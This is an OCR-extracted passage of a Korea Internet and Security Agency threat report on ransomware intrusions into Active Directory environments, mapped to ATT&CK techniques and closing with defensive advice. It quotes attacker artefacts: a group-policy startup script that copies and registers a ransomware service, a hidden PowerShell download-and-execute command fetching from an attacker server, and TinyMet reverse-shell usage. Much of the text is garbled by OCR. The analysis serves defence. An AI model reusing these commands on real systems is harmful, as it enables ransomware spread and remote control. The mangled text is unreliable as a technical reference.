Process mspub.exe, mysald—opt.exe, isplplussv.exe
wordpad.exe, steam.exe, onenote.exe, mysald.exe, outiook.exe
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Data Encrypted for Impact: Data encryption

AD administrator rights are acquired for ransomware distribution and two methods are used: @ DC group

policy object distribution and @ SMB service creation.

File encryption uses the RC4 algorithm, and the key used for file encryption is encrypted with the attacker's

open key and saved in a file, If the file is smaller than the size set by the attacker, the entirety of data is

encrypted, and if the size is exceeded, only certain sizes are encrypted to speed up the process.

Ransomware distribution policy script

Ransomware service creation through SMB

[Startup]
OCmdLine=cmd.exe
OParameters=/c "copy /y WWWindowsw
SysVol{DomainNamePoliciesW{Policy GUID
MachineWScriptsWStartupWwsusrv.exe C:\W
WINDOWSHtaskstwsusrv.exe && sc create
msdtcstefsrv binPath="C - WWINDOWSWHasks

wsusrv.exe' start= auto && sc start msditcstefsrv'

AARIOf| MH|ATEX|EASLIC

MH|A 0|2 WinTempLocal

MH|A TIHY O|2: C:wWwindowsWlocalserv.exe
MHIA 3 AKX ZE AMH|A

MHIA AJZLFd: XES AR

MH|A AA: LocalSystem

Ransomware encryption method

— Each encryption target file is assigned a new encryption key

— The open key inserted in the malicious code is used for encryption, and the encrypted key information is inserted at the end of the encrypted file

Orffsec(h) 00 01 0Z 03 04 05 06 07 08 09 OA OB OC OD OE OF
0009FB20 4 | 23 s
0009FB30 |
0009FB40
000SFBS0
0009FB60
0009FB70 |4 BB
0009FES0
0009FB90 |8
0009FBAD (DO
0009FBBO
0009FBCO |4

| 5..avcegei. ko#uk
al ) B\ AV4gA TS AL
u) .E'H, Gy\4FVDiE
| =ESE.#X.|.50.8-7
06| 514).1)..TemuS+.

S| Ocdz+.. KBc.olou
| k>*.nof,6.8.1*.5
“hfe. . Nenpnc ,if
DénLb.Z:21"poxm;
56| ‘uLEvENZBY- 39V
E| =’§g<hEG.pOR..o"
0DOSFBDO Z45m’ rqdhEATvAEn
0009FBED HV. HEviec . ou"Y
ODOSFBFO | & { i g 3il.aclop*_-
0009FCO0 [C3 3C C7 Fé 30 D3 C1 SZ 4D 45 15 CP 11 83 FB B9 A<(;DI][‘]:AR!I‘.I.!‘]‘
0009FC10 | 6E 6B €4 €1 FF A9 DA AC D4 Ci €C AF C7 CF 3C 43| ankhiy 0-0AI ¢I<c
0009Fc20 [ES 21 DE CB 32 97 CB DS 00 DA 2B 19 08 21 2& cc| &!pEz-Eb..+..!°1
0009FC30 |OB FO 76 16 §& 06 3 ié iﬁ S 3 9D DA 12| .6-.i.:B)guwkel.
0D09FC40 | A2 B3 58 4E M a ; D5 46 6D 5B| ¢ (N @¥1ip.UGFm[
0009FCSO | SE FS EF FB 97 GA AF 47 67 B5 01 99 DF F6 €3 5C| ~nis—& G—..™aak\
0009FC60 |48 AC BO 25 96 05 Fi 00 A7 B2 34 D7 7F 35 SF 06| .-°)t.h.§,4x.5Y.
0009FC70 | KO 9 16 77 1C FD 46 Db BE 7D 45 13 F4 71 27 91| &~.w.oniw) eq

Set Size > File Size _—

Set Size

—

Set Size < File Size
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) Command and Control

Remote Access Software: Remote access software
Application Layer Protocol — Web Protocols: web protocols

For the execution of various remote commands, Ammyy RAT and Amadey Bot are used.

Ammyy RAT receives additional commands from the attacker’s server, The received commands are
copied to the pre—allocated memory area, and the allocated memory is executed.

The Amadey Bot malicious code performs various functions such as key logging, remote control, additional
file download (EmailStealer, Flawed Ammyy) depending on the commands received.

Ammyy RAT command execution process

Remote control malicious code

G#Sdll rseunpadoid ‘senbiuyos] ‘sonoeq , A

1. Infected system
information acquisition

2. Memory acquisition <«

o
o

Information leak

5. Writing
commands
to memory 3. Leaking of acquired information | __|

from infected system

IIll
[ 2]

o
o

attacker command
control server

4, Command reception =~

command
transfer

6. Command execution =
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Ingress Tool Transfer: Ingress tool transfer

SMB is used to register malicious code download/execution commands as a service, Commands are
executed through Powershell and WMIC and the attacker's distribution location server is used to download
malicious codes and execute the codes as a batch file,

> 2. Service execution
— )
PC 1 smb PC 1
1. Service registration 4. Command control
3

3. Malicious code download

@an x4
C (O ammpccok/2507201 835

@ Chomed] 7|2 HaRHZ Q%
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Service installation

ES-To PETTES R =T TN Y

MH|2 0| & walbddeGRt i

AfH|2 Dt 0| Z2: %COMSPEC% /C echo powershell.exe -nop -w hidden -c $P=new-object netwebclient;$P.proxy=
[Met WebRequest]::GetSystemWebProxy();$P.Proxy.Credentials= [Nnt CredentialCache]::DefaultCredentials;|EX
$P.downloadstringihttp://Ssy. = bt i) A R SYSTEMDRIVESSWWINDOWSWTemp
#eXbMKKNOEMURpGHZ.ixt = ‘n‘\""ll‘dDu\*.'S’n‘_Elﬂp‘u“x" th_},hSQ;DHRPIkL bat & %COMSPECS: /C start %
COMSPECS: /C ¥WINDOWSHTem pWWXmCyhSQCDHRPikz bat

MH|A S8 ALSR DC MH|A

MH|2 AZE ST 28 Al AR

AMH|2 HHE: LocalSystem

=

(4) Protocol Tunneling: protocol tunneling

The Tinymet malicious code (a protocol tunneling tool) is used.

C:WUsersdTHORWDesktop>slog.exe
TinyMet vd.2
tinymet.com

Usage: tinymet.exe [transport] LHOST LPORT
Or you can specify arguments through filename itself, separated by underscore.
like TRANSPORT_LHOST_LPORT.exe

Available transports are as follows:

0: reverse_tcp
1: reverse_http
2: reverse_https
3: bind_tcp

Example:

“"tinymet.exe 2 host.com 443"

will use reverse_https and connect to host.com:443

setting the filename to "2_host.com_443.exe” and running it without args will do|
exactly the same
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Conclusion

4. Conclusion

[Defender’s Insight]

The Korea Internet and Security Agency has taken a look at the types of ransomware infection attacks that
occurred in AD environments, Attackers used spear—phishing infiltration, DC server domination after account
theft, and SMB internal transfer to infect using ransomware. Such accidents cause major damage including the
payment demanded by the attacker, damage to the corporation’s image, System recovery costs, etc. and an
AD environment being infected leads to the entire system being dominated and additional damage including

leaking of important corporate information,

Hacking attempts against corporations will continue to occur, and corporations using AD will continue to be
targeted. Each corporation has a unique composition, privilege management, security policies, etc. and the
infiltration method and detailed attack methods could change, but privilege elevation, account theft, SMB internal

transfer, etc. are commonalities found in most AD incidents.

As such, corporations using an AD environment must place priority on account management and monitoring.
An attacker that succeeds in initial infiltration will move with administrator account theft in mind, searching the
internal network; stealing normal user accounts will not aid in the domination of the internal network. Even i
accounts are stolen, the user and service account privileges must be kept separate so that the AD domain
controller server cannot be dominated. The administrator group account use should be minimized, and systems
forced to use an administrator account should be regularly monitored. In the case of AD DC in particular, a great
deal of attention must be paid to registered services and group policy lists to check for suspicious activity. Major
system logs should be regularly backed up, and if account theft tools are detected or pipe communication is

found, the copy system must be immediately inspected.

KISA has published a detailed tech report on AD environment incidents in early 2019, That report dealt with
a single incident and focused on attack techniques, procedures, malicious code analysis, etc. while this report
deals with various incidents that occurred between 2019 and 2021, listing the attack methods of attackers
according to an ATT&CK matrix, Even if the attack group attack types change in the future, the attack methods
used against AD environments will not vary greatly.

Understanding and ascertaining all the TTP strategies in the previous tech report and the current one will be of
great help in application to internal corporate environments, prediction of security threats, and reorganization of

security.
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